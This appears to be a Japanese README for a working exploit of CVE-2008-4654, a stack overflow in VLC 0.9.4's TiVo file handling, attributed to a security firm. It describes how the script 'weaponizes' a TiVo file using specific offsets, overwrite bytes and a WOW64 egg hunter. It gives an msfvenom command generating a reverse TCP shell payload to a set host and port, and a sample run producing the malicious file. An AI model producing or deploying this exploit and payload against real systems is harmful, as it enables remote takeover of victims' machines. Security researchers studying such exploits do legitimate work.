
VideoLan の VLC Media Player 0.9.4 が TiVo ファイルを処理する際のスタックベースのバッファオーバーフロー脆弱性 CVE-2008-4654 に対する完全な機能するエクスプロイトです。64 ビット Windows システム上で動作する 32 ビットバイナリを対象としており、WOW64 エッグハンターを使用して限られたスタック領域をバイパスします。
スクリプトの更新:
buf = b'[...]' を自身のシェルコード(例:msfvenom で生成)に置き換えてください。EGG_HUNTER_WOW64 シェルコードを適宜調整してください。python .\CVE-2008-4654.py --help
CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT
Transform a given TiVo file into a weapon with predefined shellcode.
options:
-h, --help show this help message and exit
--input INPUT Path to the input TiVo file to be weaponized.
--output OUTPUT Path where the modified (weaponized) TiVo file will be saved.
TIVO_PES_FILEID) を検索します。b"\x00\x00\x00\xff" で上書きし、範囲外読み出しを設定してスタックオーバーフローを引き起こします。TIVO_PES_FILEID から 92 バイト後にある別の領域をカスタムペイロードで置き換えます。w00tw00t をメモリ内でスキャンする WOW64 固有のエッグハンター。msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'
buf = b'[...]' を先に作成したシェルコードに置き換えてください。PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty
CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty
\x00 以外に大きな悪意のある文字はないため、ペイロード生成が容易です。